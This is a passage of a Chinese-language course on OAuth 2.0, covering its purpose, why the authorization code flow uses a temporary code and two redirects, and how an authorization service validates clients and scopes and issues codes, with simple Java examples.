开篇词 | 为什么要学OAuth 2.0?

你好,我是王新栋,是京东的资深架构师,主要负责京东商家开放平台的架构工作。在接下来的时间里,我将带你一起学习OAuth 2.0这个授权协议。

我从2014年加入京东,便开始接触开放平台相关的技术,主要包括网关、授权两块的内容。在刚开始的几年时间里面,我一直都认为网关是开放平台的核心,起到 “中流砥柱” 的作用,毕竟网关要承载整个开放平台的调用量,同时还要有足够的系统容错能力。

但随着对开放平台理解的不断深入,我们要想在开放平台支持更多样的业务场景,我才发现网关和授权同样重要,相当于开放平台的 “两条腿”。

而对于授权 “这条腿”,它不仅要像网关一样要承载访问量,还要同时兼顾业务场景的发展。什么样的业务场景呢?类似的微信登录就是其中之一,越来越多的第三方应用都在向用户提供使用微信登录的解决方案,来减少用户注册的繁琐操作。而这个解决方案的背后原理,也是我们这门课要讲到的OAuth 2.0技术。

OAuth 2.0是什么?

那,OAuth 2.0到底是什么呢?我们先从字面上来分析下。OAuth 2.0一词中的 “Auth” 表示 “授权”,字母 “O” 是Open的简称,表示 “开放” ,连在一起就表示 “开放授权”。这也是为什么我们使用OAuth的场景,通常发生在开放平台的环境下。

看到这里,你可能会说应该还有OAuth 1.0吧。没错,OAuth 2.0之前就是OAuth 1.0。现在,我就来和你说说这两个版本的OAuth有什么区别吧。

在OAuth 1.0的时候,它有个 “很大的愿望” 就是想用一套授权机制来应对现实中的所有场景,比如Web应用场景、移动App应用场景、官方应用场景等等,但是这些场景并不是完全相同的。比如官方应用场景,你说还需要让用户来授权吗?如果需要,始终使用一套授权机制给用户带来的体验,是好还是坏呢?

到了OAuth 2.0的时候,就解决了OAuth 1.0 面临的这种“尴尬”。OAuth 2.0 不再局限于一种授权机制,它扩充了授权许可机制类型,有了授权码许可机制、客户端凭据机制、资源拥有者凭据机制和隐式许可机制。这样的OAuth机制就能够很灵活地适应现实中的各种场景,比如移动应用的场景、官方应用的场景,等等。

此外,OAuth 1.0的弊端还包括安全上的固化攻击等问题,因此OAuth 1.0现在已经是废弃状态了。对于我们来讲,直接使用OAuth 2.0就可以了。

为什么会有这门课?

但其实呢,OAuth 2.0并不是一门新的技术,从2007年OAuth 1.0面世,到2011年发布OAuth 2.0草案,互联网上已经有很多关于OAuth的资料了。所以,在我初次接触OAuth 2.0去查阅这些零散的资料时,觉得OAuth 2.0很简单啊,不就是授权吗,看两篇文章就够了啊。

但是,看似简单的OAuth 2.0却又让我望而却步,在如何使用授权码流程上踌躇不前。比如,在Web应用中到底应该怎么使用授权码流程,移动App中还能使用授权码流程吗?当我带着这些问题尝试到网上搜索资料时,那些不成体系的资料着实也让我走了不少弯路。不知道你是不是也被下面问题困扰着:

  1. 我要开发一个Web应用,当使用OAuth 2.0的时候,担心授权码被拦截,却因为没有较好的解决方法而一筹莫展。
  2. 我要开发一款移动App,当使用OAuth 2.0的时候,在确定是否需要Server端上,花费了大把的时间。

后来我看到《OAuth 2 in Action》这本书,如获至宝。它非常系统地讲解了OAuth2.0,让我对这个协议框架有了更全面、深刻的认识。也正是这本书给了我足够的勇气,让我能够把自己这些年在开放平台的工作中,所掌握的OAuth知识体系梳理一遍。也是在这一刻,我才意识到 只要有了方向,就有了厚度

当我开始试着整理出自己这些年掌握的OAuth 2.0相关技术、实践,并计划输出的时候,我真真切切地发现,OAuth 2.0是讲授权没错,但要用对、用好这个协议,绝不是短短两篇文章就能讲清楚的。这也是我做这门课的初衷。

我要结合自己在开放平台上的工作经验以及对OAuth 2.0的理解,一次性地给你说透授权这件事儿。同时,我还查阅了诸多资料,包括 OAuth 2协议规范OpenID Connect explained 等,力求给你带来最贴近本质的OAuth 2.0知识的讲解。

这门课是怎么设计的?

在这门课程里,我会分为基础篇和进阶篇两大模块,每个模块都会安排一些实践内容,和你讲清楚OAuth 2.0。接下来,我就和你解释下为什么要这么安排。

第一部分是基础篇,就是你必须要掌握的OAuth 2.0的基础知识。 在这一模块中,我会和你细致地讲解授权码许可(Authorization Code)类型的流程,包括OAuth 2.0内部组件之间的通信方式,以及授权服务、客户端(第三方软件)、受保护资源服务这三个组件的原理。

在此基础上,我还会为你讲解其他三种常见许可类型,分别是资源拥有者凭据许可(Resource Owner Password Credentials)、隐式许可(Implicit)、客户端凭据许可(Client Credentials)的原理,以及如何选择适合自己实际场景的授权类型。这样一来,你就能掌握整个OAuth 2.0中所有许可类型的运转机制了,并且能够从容地在实际工作环境中使用它们。

为了能够把你带入到OAuth 2.0的场景中,方便你理解这些概念、流程,我在讲述这些基础内容的时候,会用一个小明使用第三方“小兔打单软件”来打印自己在京东店铺的订单数据的例子,来贯穿始终。

我可以告诉你的是,学完基础篇的内容,你就可以把OAuth 2.0用到实际的工作场景了。

第二部分进阶篇的内容,我会侧重讲一些OAuth 2.0 “更高级” 的用法,可以让你知道如何更安全地用、扩展地用OAuth 2.0。

所以,这部分内容会包括如何在移动App中使用OAuth 2.0,因使用不当而导致的OAuth 2.0安全漏洞有哪些,以及如何利用OAuth 2.0实现一个OpenID Connect用户身份认证协议。此外,我还邀请了微服务技术领域的专家杨波老师,给我们分享了一个架构案例,基于OAuth 2.0/JWT的微服务参考架构。

最后,为了配合课程的学习,不让理论过于枯燥,也为了学以致用, 我在 GitHub 上为你准备了一份非常简单、可落地的 通过Java语言来实现的代码。

简单的地方在于,代码中除了基本的Servlet技术外,我没有引入任何其它的第三方内容。所以,你只要能够理解Request和Response,就能够理解这份代码。

可落地的地方在于,虽然它是一份简单的代码,但它不仅把整个OAuth 2.0的组件都跑通了,还包含了实践一个OIDC协议的具体实现。当然,我在代码里面还预留了一些TODO的地方,你可以结合上下文来自行实践处理。这是一项开源的工程。

在这里,我总结了OAuth 2.0的知识体系图,你也可以先了解下整个课程的知识结构。

这样一来,你学完这门课后,便能在互联网的授权领域练就一双“火眼金睛”,可以发现所有使用过OAuth 2.0的痕迹,诸如微信登录的场景。这样,即使你不用抓包分析,也能够洞悉它背后的原理,为今后快速熟知互联网的类似场景打下基础。

最后,我还想正式认识一下你。你可以在留言区里做个自我介绍,和我聊聊,你目前学习、使用OAuth 2.0的难点、痛点是什么?或者,你也可以聊聊你对OAuth 2.0、对授权还有哪些独特的思考和体验,欢迎在留言区和我交流讨论。

好了,现在就开启我们的OAuth 2.0之旅吧。

| OAuth 2.0是要通过什么方式解决什么问题?

你好,我是王新栋。

在课程正式开始之前,我想先问你个问题。第一次使用极客时间App的时候,你是直接使用了第三方帐号(比如微信、微博)登录,还是选择了重新注册新用户?如果你选择了重新注册用户,那你还得上传头像、输入用户名等信息。但如果你选择了使用第三方帐号微信来登录,那极客时间会直接使用你微信的这些信息作为基础信息,你就能省心很多。

到这里,我估计你会问,这是怎么实现的?微信把我的个人信息给了极客时间,它又是怎么保证我的数据安全的呢?

其实,微信这一系列授权背后的原理都可以归到一个词上,那就是OAuth 2.0。今天这节课,我们就来看看OAuth 2.0到底是什么、能干什么以及它是怎么干的。

OAuth 2.0是什么?

用一句话总结来说,OAuth 2.0就是一种授权协议。那如何理解这里的“授权”呢?

我举个咱们生活中的例子。假如你是一名销售人员,你想去百度拜访你的大客户王总。到了百度的大楼之后,保安拦住了你,问你要工牌。你说:“保安大哥啊,我是来拜访王总的,哪里有什么工牌”。保安大哥说:“那你要去前台做个登记”。

然后你就赶紧来到前台,前台美女问你是不是做了登记。你说王总秘书昨天有要你的手机号,说是已经做过预约。小姐姐确认之后往你的手机发了个验证码,你把验证码告诉了前台小姐姐之后,她给了你一张门禁卡,于是你就可以开心地去见王总了。

你看,这个例子里面就有一次授权。本来你是没有权限进入百度大楼的,但是经过前台小姐姐一系列的验证之后,她发现你确实是来拜访客户的,于是给了你一张临时工牌。这整个过程就是授权。

我再举一个电商的场景,你估计更有感觉。假如你是一个卖家,在京东商城开了一个店铺,日常运营中你要将订单打印出来以便给用户发货。但打印这事儿也挺繁琐的,之前你总是手工操作,后来发现有个叫“小兔”的第三方软件,它可以帮你高效率地处理这事。

但你想想,小兔是怎么访问到这些订单数据的呢?其实是这样,京东商城提供了开放平台,小兔通过京东商家开放平台的API就能访问到用户的订单数据。

只要你在软件里点击同意,小兔就可以拿到一个访问令牌,通过访问令牌来获取到你的订单数据帮你干活儿了。你看,这里也是有一次授权。你要是不同意,平台肯定不敢把这些数据给到第三方软件。

为什么用OAuth 2.0?

基于上面两种场景的解决方案,关于授权我们最容易想到的方案就是提供钥匙。比如,你要去百度拜访王总,那前台小姐姐就给你张百度的工牌;小兔要获取你的订单信息,那你就把你的用户名和密码给它。但稍微有些安全意识,我们都不会这样做。

因为你有了百度工牌,那以后都可以随时自由地进出了,这显然不是百度想要的。所以,百度有一套完整的机制,通过给你一张临时工牌,实现在保证安全的情况下,还能让你去大楼里面见到王总。相应地,小兔软件请求访问你的订单数据的过程,也会涉及这样一套授权机制,那就是OAuth 2.0。它通过给小兔软件一个访问令牌,而不是让小兔软件拿着你的用户名和密码,去获取你的订单数据帮你干活儿。

其实,除了小兔软件这个场景,在如今的互联网世界里用到OAuth 2.0的地方非常多,只是因为它隐藏了实现细节,需要我们多做分析才能发现它。比如,当你使用微信登录其他网站或者App的时候,当你开始使用某个小程序的时候,你都在无感知的情况下用到了OAuth 2.0。

那总结来说, OAuth 2.0这种授权协议,就是保证第三方(软件)只有在获得授权之后,才可以进一步访问授权者的数据。因此,我们常常还会听到一种说法,OAuth 2.0是一种安全协议。现在你知道了,这种说法也是正确的。

现在访问授权者的数据主要是通过Web API,所以凡是要保护这种对外的API时,都需要这样授权的方式。而OAuth 2.0的这种颁发访问令牌的机制,是再合适不过的方法了。同时,这样的Web API还在持续增加,所以OAuth 2.0是目前Web上重要的安全手段之一了。

OAuth 2.0是怎样运转的?

现在,我相信你已经对OAuth 2.0有了一个整体印象,接下来咱们再看看它是怎么运转的。

我们还是来看上面提到的小兔打单软件的例子吧。假如小明在京东上面开了一个店铺,小明要管理他的店铺里面的订单,于是选择了使用小兔软件。

现在,让我们把“小明”“小兔软件”“京东商家开放平台”放到一个对话里面,看看“他们”是怎么沟通的吧。

小明:“你好,小兔软件。我正在Google浏览器上面,需要访问你来帮我处理我在京东商城店铺的订单。”

小兔软件:“好的,小明,我需要你给我授权。现在我把你引导到京东商家开放平台上,你在那里给我授权吧。”

京东商家开放平台:“你好,小明。我收到了小兔软件跳转过来的请求,现在已经准备好了一个授权页面。你登录并确认后,点击授权页面上面的授权按钮即可。”

小明:“好的,京东商家开放平台。我看到了这个授权页面,已经点授权按钮啦😄”

京东商家开放平台:“你好,小兔打单软件。我收到了小明的授权,现在要给你生成一个授权码code值,我通过浏览器重定向到你的回调URL地址上面了。”

小兔软件:“好的,京东商家开放平台。我现在从浏览器上拿到了授权码,现在就用这个授权码来请求你,请给我一个访问令牌access_token吧。”

京东商家开放平台:“好的,小兔打单软件,访问令牌已经发送给你了。”

小兔打单软件:“太好了,我现在就可以使用访问令牌来获取小明店铺的订单了。”

小明:“我已经能够看到我的订单了,现在就开始打单操作了。”

下面,为了帮助你理解,我再用一张图来描述整个过程:

再分析下这个流程,我们不难发现小兔软件最终的目的,是要获取一个叫做“访问令牌”的东西。从最后一步也能够看出来,在小兔软件获取到 访问令牌 之后,才有足够的 “能力” 去请求小明的店铺的订单,也就是才能够帮助小明打印订单。

那么,小兔软件是怎么获取访问令牌的值的呢?我们会发现还有一个叫做“授权码”的东西,也就是说小兔软件是拿 授权码换取的访问令牌

小兔软件又是怎么拿到 授权码 的呢?从图中流程刚开始的那一步,我们就会发现,是在小明授权之后,才产生的授权码,上面流程中后续的一切动作,实际上都是在小明对小兔软件授权发生以后才产生的。其中主要的动作,就是生成授权码–>生成访问令牌–>使用访问令牌。

到这里,我们不难发现, OAuth 2.0 授权的核心就是颁发访问令牌、使用访问令牌, 而且不管是哪种类型的授权流程都是这样。你一定要理解,或者记住这句话,它是整个流程的核心。你也可以再回想下,去百度拜访王总的例子。如果你是百度这套机制的设计者的话,会怎么设计这套授权机制呢。想清楚了这个问题,你再去理解令牌、授权码啥的也就简单了。

在小兔软件这个例子中呢,我们使用的就是授权码许可(Authorization Code)类型。它是OAuth 2.0中最经典、最完备、最安全、应用最广泛的许可类型。除了授权码许可类型外,OAuth 2.0针对不同的使用场景,还有3种基础的许可类型,分别是隐式许可(Implicit)、客户端凭据许可(Client Credentials)、资源拥有者凭据许可(Resource Owner Password Credentials)。相对而言,这3种授权许可类型的流程,在流程复杂度和安全性上都有所减弱(我会在第6讲,与你详细分析)。

因此,在这个课程中,我会频繁用授权码许可类型来举例。至于为什么称它为授权码许可,为什么有两次重定向,以及这种许可类型更详细的通信流程又是怎样的,我会在第2讲给你深入分析,你可以先不用关注。

总结

好了,今天这节课就到这里。这节课咱们知识点不多,我来回给你举例子,其实就是希望你能理解OAuth到底是什么,为什么需要它,以及它大概的运行逻辑是怎样的。总结来说,我需要你记住以下这3个关键点:

  1. OAuth 2.0的核心是授权许可,更进一步说就是令牌机制。也就是说,像小兔软件这样的第三方软件只有拿到了京东商家开放平台颁发的访问令牌,也就是得到了授权许可,然后才可以 代表 用户访问他们的数据。

  2. 互联网中所有的受保护资源,几乎都是以Web API的形式来提供访问的,比如极客时间App要获取用户的头像、昵称,小兔软件要获取用户的店铺订单,我们说OAuth 2.0与安全相关,是用来保护Web API的。另外,第三方软件通过OAuth 2.0取得访问权限之后,用户便把这些权限 委托 给了第三方软件,我们说OAuth 2.0是一种委托协议,也没问题。

  3. 也正因为像小兔这样的第三方软件,每次都是用访问令牌而不是用户名和密码来请求用户的数据,才大大减少了安全风险上的“攻击面”。不然,我们试想一下,每次都带着用户名和密码来访问数量众多的Web API ,是不是增加了这个“攻击面”。因此,我们说OAuth 2.0的核心,就是颁发访问令牌和使用访问令牌。

思考题

好了,今天这一讲我们马上要结束了,我给你留个思考题。

你可以再花时间想下小兔软件获取用户订单信息的那个场景,如果让你来设计整个的授权流程,你会怎么设计?还有没有更好的方式?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 授权码许可类型中,为什么一定要有授权码?

你好,我是王新栋。

在上一讲,我提到了OAuth 2.0 的授权码许可类型,在小兔打单软件的例子里面,小兔最终是通过 访问令牌 请求到小明的店铺里的订单数据。同时呢,我还提到了,这个 访问令牌是通过授权码换来的。到这里估计你会问了,为什么要用授权码来换令牌?为什么不能直接颁发访问令牌呢?

你可以先停下来想想这个问题。今天咱们这节课,我会带着你深入探究下其中的逻辑。

为什么需要授权码?

在讲这个问题之前,我先要和你同步下,在OAuth 2.0的体系里面有4种角色,按照官方的称呼它们分别是资源拥有者、客户端、授权服务和受保护资源。不过,这里的客户端,我更愿意称其为第三方软件,而且在咱们这个课程中,都是以第三方软件在举例子。所以,在后续的讲解中我统一把它称为第三方软件。

所以,你在看官方资料的时候,可以自己对应下。为了便于你理解,我还是拿小兔软件来举例子,将官方的称呼 “照进现实”,对应关系就是, 资源拥有者->小明,第三方软件->小兔软件,授权服务->京东商家开放平台的授权服务,受保护资源->小明店铺在京东上面的订单

在理解了这些概念以后,让我们继续。

你知道, OAuth诞生之初就是为了解决Web浏览器场景下的授权问题,所以我基于浏览器的场景,在上一讲的小明使用小兔软件打印订单的整体流程的基础上,画了一个授权码许可类型的序列图。

当然了,这里还是有小兔软件来继续陪伴着我们,不过这次为了能够更好地表述授权码许可流程,我会把小兔软件的前端和后端分开展示,并把京东商家开放平台的系统按照OAuth 2.0的组件拆分成了授权服务和受保护资源服务。如下图所示:

突然看到这个序列图增加了这么多步骤的时候,你是不是有些紧张?那如果我告诉你再细分的话步骤还要更多,你是不是就更困惑了?

不过,别紧张,这没啥关系。一方面,咱们这一讲的重点就是跟授权码相关的流程,你只需关注这里的重点步骤,也就是两次重定向相关的步骤就够了。在下一讲中,我再教你如何将这些步骤进一步拆解。另一方面,我接下来还会用另一种视角来帮助你分析这个流程。

我们继续来看这张序列图。从图中看到,在第4步授权服务生成了授权码code,按照一开始我们提出来的问题,如果不要授权码,这一步实际上就可以直接返回访问令牌access_token了。

按着这个没有授权码的思路继续想,如果这里直接返回访问令牌,那我们肯定不能使用重定向的方式。因为 这样会把安全保密性要求极高的访问令牌暴露在浏览器上,从而将会面临访问令牌失窃的安全风险。显然,这是不能被允许的。

也就是说,如果没有授权码的话,我们就只能把访问令牌发送给第三方软件小兔的后端服务。按照这样的逻辑,上面的流程图就会变成下面这样:

到这里,看起来天衣无缝。小明访问小兔软件,小兔软件说要打单你得给我授权,不然京东不干,然后小兔软件就引导小明跳转到了京东的授权服务。到授权服务之后,京东商家开放平台验证了小兔的合法性以及小明的登录状态后,生成了授权页面。紧接着,小明赶紧点击同意授权,这时候,京东商家开放平台知道可以把小明的订单数据给小兔软件。

于是,京东商家开放平台没含糊,赶紧生成访问令牌access_token,并且通过后端服务的方式返回给了小兔软件。这时候,小兔软件就能正常工作了。

这样,问题就来了,什么问题呢? 当小明被浏览器重定向到授权服务上之后,小明跟小兔软件之间的 “连接” 就断了,相当于此时此刻小明跟授权服务建立了“连接”后,将一直“停留在授权服务的页面上”。 你会看到图2中问号处的时序上,小明再也没有重新“连接”到小兔软件。

但是,这个时候小兔软件已经拿到了小明授权之后的访问令牌,也使用访问令牌获取到了小明店铺里的订单数据。这时,考虑到“小明的感受”,小兔软件应该要通知到小明,但是如何做呢?现在“连接断了”,这事儿恐怕就没那么容易了。

OK,为了让小兔软件能很容易地通知到小明, 还必须让小明跟小兔软件重新建立起 “连接”。这就是我们看到的第二次重定向,小明授权之后,又重新重定向回到了小兔软件的地址上,这样 小明就跟小兔软件有了新的 “连接”

到这里,你就能理解在授权码许可的流程中,为什么需要两次重定向了吧。

为了重新建立起这样的一次连接,我们又不能让访问令牌暴露出去,就有了这样一个 临时的、间接的凭证:授权码。因为小兔软件最终要拿到的是安全保密性要求极高的访问令牌,并不是授权码,而授权码是可以暴露在浏览器上面的。这样有了授权码的参与,访问令牌可以在后端服务之间传输,同时呢还可以重新建立小明与小兔软件之间的“连接”。这样通过一个授权码,既“照顾”到了小明的体验,又“照顾”了通信的安全。

这下,你就知道为什么要有授权码了吧。

那么,在执行授权码流程的时候,授权码和访问令牌在小兔软件和授权服务之间到底是怎么流转的呢?要回答这个问题,就需要继续分析一下授权码许可类型的通信过程了。

授权码许可类型的通信过程

图1的通信过程中标识出来的步骤就有9个,一步步地去分析看似会很复杂,所以我会用另一个维度来分析以帮助你理解,也就是从直接通信和间接通信的维度来分析。这里所谓的间接通信就是指获取授权码的交互,而直接通信就是指通过授权码换取访问令牌的交互。

接下来,我们就一起分析下吧,看看哪些是间接通信,哪些又是直接通信。

间接通信

我们先分析下为什么是“间接”。

我们把图1中获取授权码code的流程 “放大”,并换个角度来看一看,也就是将浏览器这个代理放到第三方软件小兔和授权服务中间。于是,我们来到了下面这张图:

这个过程,仿佛有这样的一段对话。

小明:“你好,小兔软件,我要访问你了。”

小兔软件:“好的,我把你引到授权服务那里,我需要授权服务给我一个授权码。”

授权服务:“小兔软件, 我把授权码发给浏览器了。”

小兔软件:“好的,我从浏览器拿到了授权码。”

不知道你注意到没有,第三方软件小兔和授权服务之间,并没有发生直接的通信,而是 通过浏览器这个“中间人” 来 “搭线”的。因此,我们说这是一个间接通信的方式。

直接通信

那我们再分析下,授权码换取访问令牌的交互,为什么是“直接”的。我们再把图1中获取访问令牌的流程“放大”,就得到了下面的图示:

相比获取授权码过程的间接通信,获取访问令牌的直接通信就比较容易理解了,就是第三方软件小兔获取到授权码code值后,向授权服务发起获取访问令牌access_token的通信请求。这个请求是第三方软件服务器跟授权服务的服务器之间的通信,都是在后端服务器之间的请求和响应,因此也叫作后端通信。

两个 “一伙”

了解了上面的通信方式之后,不知道你有没有意识到,OAuth 2.0 中的4个角色是 “两两站队” 的:资源拥有者和第三方软件“站在一起”,因为第三方软件要代表资源拥有者去访问受保护资源;授权服务和受保护资源“站在一起”,因为授权服务负责颁发访问令牌,受保护资源负责接收并验证访问令牌。

讲到这里的时候,你会发现在这一讲,介绍授权码流程的时候我都是以浏览器参与的场景来讲的,那么浏览器一定要参与到这个流程中吗?

其实,授权码许可流程,不一定要有浏览器的参与。接下来,我们就继续分析下其中的逻辑。

一定要有浏览器吗?

OAuth 2.0发展之初,开放生态环境相对单薄,以浏览器为代理的Web应用居多,授权码许可类型 “理所当然” 地被应用到了通过浏览器才能访问的Web应用中。

但实际上,OAuth 2.0 是一个授权理念,或者说是一种授权思维。它的授权码模式的思维可以移植到很多场景中,比如微信小程序。在开发微信小程序应用时,我们通过授权码模式获取用户登录信息, 官方文档的地址示例 中给出的 grant_type=authorization_code ,就没有用到浏览器。

根据微信官方文档描述,开发者获取用户登录态信息的过程正是一个授权码的许可流程:

  • 首先,开发者通过wx.login(Object object)方法获取到登录凭证code值,这一步的流程是在小程序内部通过调用微信提供的SDK实现;
  • 然后,再通过该code值换取用户的session_key等信息,也就是官方文档的auth.code2Session方法,同时该方法也是被强烈建议通过开发者的后端服务来调用的。

你可以看到,这个过程并没有使用到浏览器,但确实按照授权码许可的思想走了一个完整的授权码许可流程。也就是说,先通过小程序前端获取到code值,再通过小程序的后端服务使用code值换取session_key等信息,只不过是访问令牌access_token的值被换成了session_key。

GET https://api.weixin.qq.com/sns/jscode2session?appid=APPID&secret=SECRET&js_code=JSCODE&grant_type=authorization_code

你看,这整个过程体现的就是授权码许可流程的思想。

总结

这节课又接近尾声了,我再带你回顾下重点内容。

今天,我从为什么需要授权码这个问题开始讲起,并通过授权码把授权码许可流程整体的通信过程串了一遍,提到了授权码这种方式解决的问题,也提到了授权码流程的通信方式。总结来说,我需要你记住以下两点。

  1. 授权码许可流程有两种通信方式。一种是前端通信,因为它通过浏览器促成了授权码的交互流程,比如京东商家开放平台的授权服务生成授权码发送到浏览器,第三方软件小兔从浏览器获取授权码。 正因为获取授权码的时候小兔软件和授权服务并没有发生直接的联系,也叫做间接通信。另外一种是后端通信,在小兔软件获取到授权码之后, 在后端服务直接发起换取访问令牌的请求,也叫做直接通信
  2. 在OAuth 2.0中,访问令牌被要求有极高的安全保密性,因此我们不能让它暴露在浏览器上面,只能通过第三方软件(比如小兔)的后端服务来获取和使用,以最大限度地保障访问令牌的安全性。正因为访问令牌的这种安全要求特性,当需要前端通信,比如浏览器上面的流转的时候,OAuth 2.0才又提供了一个临时的凭证:授权码。 通过授权码的方式,可以让用户小明在授权服务上给小兔授权之后,还能重新回到小兔的操作页面上。这样,在保障安全性的情况下,提升了小明在小兔上的体验。

从授权码许可流程中就可以看出来,它完美地将OAuth 2.0 的4个角色组织了起来,并保证了它们之间的顺畅通信。 它提出的这种结构和思想都可以被迁移到其他环境或者协议上,比如在微信小程序中使用授权码许可。

不过,也正是因为有了授权码的参与,才使得授权码许可要比其他授权许可类型,在授权的流程上多出了好多步骤,让授权码许可类型成为了OAuth 2.0体系中迄今流程最完备、安全性最高的授权流程。在接下来的两讲中,我还会为你重点讲解授权码许可类型下的授权服务。

思考题

好了,今天这一讲我们马上要结束了,我给你留个思考题。

关于不需要浏览器参与的授权码许可流程,你还能列举出更多的应用场景吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 授权服务:授权码和访问令牌的颁发流程是怎样的?

你好,我是王新栋。

在上一讲,我从为什么需要授权码这个问题开始,为你串了一遍授权码许可流程整体的通信过程。在接下来的三讲中,我会着重为你讲解关于授权服务的工作流程、授权过程中的令牌,以及如何接入OAuth 2.0。这样一来,你就可以吃透授权码许可这一最经典、最完备、最常用的授权流程了,以后再处理授权相关的逻辑就更得心应手了。现在呢,让我们开始这一讲。

在介绍授权码许可类型时,我提到了很多次 “授权服务”。一句话概括,授权服务就是 负责颁发访问令牌 的服务。更进一步地讲,OAuth 2.0的核心是授权服务,而授权服务的核心就是令牌。

为什么这么说呢?当第三方软件比如小兔,要想获取小明在京东店铺的订单,就必须先从京东商家开放平台的授权服务那里获取访问令牌,进而通过访问令牌来 “代表” 小明去请求小明的订单数据。这不恰恰就是整个OAuth 2.0授权体系的核心吗?

那么,授权服务到底是怎么生成访问令牌的,这其中包含了哪些操作呢?还有一个问题是,访问令牌过期了而用户又不在场的情况下,又如何重新生成访问令牌呢?

带着这两个问题,我们就以授权码许可类型为例,一起深入探索下授权服务这个核心组件吧。

授权服务的工作过程

开始之前,你还是要先回想下小明给小兔软件授权订单数据的整个流程。

我们说小兔软件先要让小明去京东商家开放平台那里给它授权数据,那这里是不是你觉得很奇怪?你总不能说,“嘿,京东,你把数据给小兔用吧”,那京东肯定会回复说,“小明,小兔是谁啊,没在咱家备过案,我不能给他,万一是骗子呢?”

对吧,你想想是不是这个逻辑。所以,授权这个大动作的前提,肯定是小兔要去平台那里“备案”,也就是注册。注册完后,京东商家开放平台就会给小兔软件app_id和app_secret等信息,以方便后面授权时的各种身份校验。

同时,注册的时候,第三方软件也会请求受保护资源的可访问范围。比如,小兔能否获取小明店铺3个月以前的订单,能否获取每条订单的所有字段信息等等。这个权限范围,就是scope。后面呢,我还会详细讲述范围控制。

文字说起来有点抽象,咱们还是直接上代码吧。关于注册后的数据存储,我们使用如下Java代码来模拟:

Map<String,String> appMap =  new HashMap<String, String>();//模拟第三方软件注册之后的数据库存储

appMap.put("app_id","APPID_RABBIT");
appMap.put("app_secret","APPSECRET_RABBIT");
appMap.put("redirect_uri","http://localhost:8080/AppServlet-ch03");
appMap.put("scope","nickname address pic");

备完案之后,咱们接着继续前进。小明过来让平台把他的订单数据给小兔,平台咔咔一查,对了下暗号,发现小兔是合法的,于是就要推进下一步了。

咱们上节课讲过,在授权码许可类型中,授权服务的工作,可以划分为两大部分,一个是 颁发授权码code,一个是 颁发访问令牌access_token。为了更能表达授权码和访问令牌的存在,我在图中用深色将其标注了出来:

我们先看看颁发授权码code的流程。

过程一:颁发授权码code

在这个过程中,授权服务需要完成两部分工作,分别是 准备工作生成授权码code

你可能会问了,这个“准备”都包括哪些工作?我们可以想到,小明在给第三方软件小兔打单软件进行授权的时候,会看到授权页面上有一个授权按钮,但是授权服务在小明看到这个授权按钮之前,实际上已经做了一系列动作。

这些动作,就是所谓的准备工作,包括验证基本信息、验证权限范围(第一次)和生成授权请求页面这三步。我们具体分析下。

第一步,验证基本信息。

验证基本信息,包括对第三方软件小兔合法性和回调地址合法性的校验。

在 Web 浏览器环境下,颁发code的整个请求过程,都是浏览器通过前端通信来完成,这就意味着所有信息都有被冒充的风险。因此,授权服务必须对第三方软件的存在性做判断。

同样,回调地址也是可以被伪造的。比如,不法分子将其伪装成钓鱼页面,或者是带有恶意攻击性的软件下载页面。因此从安全上考虑,授权服务需要对回调地址做基本的校验。

if(!appMap.get("redirect_uri").equals(redirectUri)){
    //回调地址不存在
}

在授权服务的程序中,这两步验证通过后,就会生成或者响应一个页面( 属于授权服务器上的页面),以提示小明进行授权。

第二步,验证权限范围(第一次)。

既然是授权,就会涉及范围。比如,我们使用微信登录第三方软件的时候,会看到微信提示我们,第三方软件可以获得你的昵称、头像、性别、地理位置等。如果你不想让第三方软件获取你的某个信息,那么可以不选择这一项。同样在小兔中也是一样,当小明为小兔进行授权的时候,也可以选择给小兔的权限范围,比如是否授予小兔获取3个月以前的订单的访问权限。

这就意味着,我们需要对小兔传过来的scope参数,与小兔注册时申请的权限范围做比对。如果请求过来的权限范围大于注册时的范围,就需要作出越权提示。 记住,此刻是第一次权限校验。

String scope = request.getParameter("scope");
if(!checkScope(scope)){
    //超出注册的权限范围
}

第三步,生成授权请求页面。

这个授权请求页面就是授权服务上的页面,如下图所示:

页面上显示了小兔注册时申请的today、history 两种权限,小明可以选择缩小这个权限范围,比如仅授予获取today信息的权限。

至此,颁发授权码code的准备工作就完成了。你要注意哈,我一直强调说这也是准备工作,因为当用户点击授权按钮“approve”后,才会 生成授权码code值和访问令牌acces_token值,“一切才真正开始”。

这里需要说明下:在上面的准备过程中,我们忽略了小明登录的过程,但只有用户登录了才可以对第三方软件进行授权,授权服务才能够获得用户信息并最终生成code 和 app_id(第三方软件的应用标识) + user(资源拥有者标识)之间的对应关系。你可以把登录部分的代码,作为附加练习。

小明点击“approve”按钮之后,生成授权码code的流程就正式开始了,主要包括验证权限范围(第二次)、处理授权请求生成授权码code和重定向至第三方软件这三大步。接下来,我们一起分析下这三步。

第四步,验证权限范围(第二次)。

在步骤二中,生成授权页面之前授权服务进行的第一次校验,是对比小兔请求过来的权限范围scope和注册时的权限做的比对。这里的第二次验证权限范围,是用小明进行授权之后的权限,再次与小兔软件注册的权限做校验。

那这里为什么又要校验一次呢?因为这相当于一次用户的输入权限。小明选择了一定的权限范围给到授权服务,对于权限的校验我们要重视对待,凡是输入性数据都会涉及到合法性检查。另外,这也是要求我们养成一种 在服务端对输入数据的请求,都尽可能做一次合法性校验的好习惯

String[] rscope =request.getParameterValues("rscope");

if(!checkScope(rscope)){
    //超出注册的权限范围
}

第五步,处理授权请求,生成授权码code。

当小明同意授权之后,授权服务会校验响应类型response_type的值。response_type有code和token两种类型的值。在这里,我们是用授权码流程来举例的,因此代码要验证response_type的值是否为code。

String responseType = request.getParameter("response_type");
if("code".equals(responseType)){

}

在授权服务中,需要将生成的授权码code值与app_id、user进行关系映射。也就是说,一个授权码code,表示某一个用户给某一个第三方软件进行授权,比如小明给小兔软件进行的授权。同时,我们需要将code值和这种映射关系保存起来,以便在生成访问令牌access_token时使用。

String code = generateCode(appId,"USERTEST");//模拟登录用户为USERTEST

private String generateCode(String appId,String user) {
  ...
  String code = strb.toString();
  codeMap.put(code,appId+"|"+user+"|"+System.currentTimeMillis());
  return code;
}

在生成了授权码code之后,我们也按照上面所述绑定了响应的映射关系。这时,你还记得我之前讲到的授权码是临时的、一次性凭证吗?因此,我们还需要为code设置一个有效期。

